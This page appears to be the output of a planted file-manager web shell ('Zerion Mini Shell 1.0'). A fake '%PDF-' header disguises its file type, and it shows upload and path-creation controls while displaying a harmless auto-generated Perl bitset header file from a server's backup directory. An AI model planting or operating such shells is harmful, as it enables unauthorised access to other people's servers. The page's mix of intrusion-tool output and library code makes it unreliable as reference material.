%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/backups/router/usr/local/lib/perl5/site_perl/mach/5.36/sys/
Upload File :
Create Path :
Current File : //proc/self/root/backups/router/usr/local/lib/perl5/site_perl/mach/5.36/sys/_bitset.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_SYS__BITSET_H_)) {
    eval 'sub _SYS__BITSET_H_ () {1;}' unless defined(&_SYS__BITSET_H_);
    eval 'sub _BITSET_BITS () {($sizeof{\'long\'} * 8);}' unless defined(&_BITSET_BITS);
    eval 'sub __howmany {
        my($x, $y) = @_;
	    eval q(((($x) + (($y) - 1)) / ($y)));
    }' unless defined(&__howmany);
    eval 'sub __bitset_words {
        my($_s) = @_;
	    eval q(( &__howmany($_s,  &_BITSET_BITS)));
    }' unless defined(&__bitset_words);
    eval 'sub __BITSET_DEFINE {
        my($_t, $_s) = @_;
	    eval q(\'struct _t\' { \'long __bits\'[ &__bitset_words(($_s))]; });
    }' unless defined(&__BITSET_DEFINE);
    eval 'sub __BITSET_DEFINE_VAR {
        my($_t) = @_;
	    eval q( &__BITSET_DEFINE($_t, 1));
    }' unless defined(&__BITSET_DEFINE_VAR);
    if(defined(&_KERNEL) || defined(&_WANT_FREEBSD_BITSET)) {
	eval 'sub BITSET_DEFINE {
	    my($_t, $_s) = @_;
    	    eval q( &__BITSET_DEFINE($_t, $_s));
	}' unless defined(&BITSET_DEFINE);
	eval 'sub BITSET_DEFINE_VAR {
	    my($_t) = @_;
    	    eval q( &__BITSET_DEFINE_VAR($_t));
	}' unless defined(&BITSET_DEFINE_VAR);
    }
}
1;

Zerion Mini Shell 1.0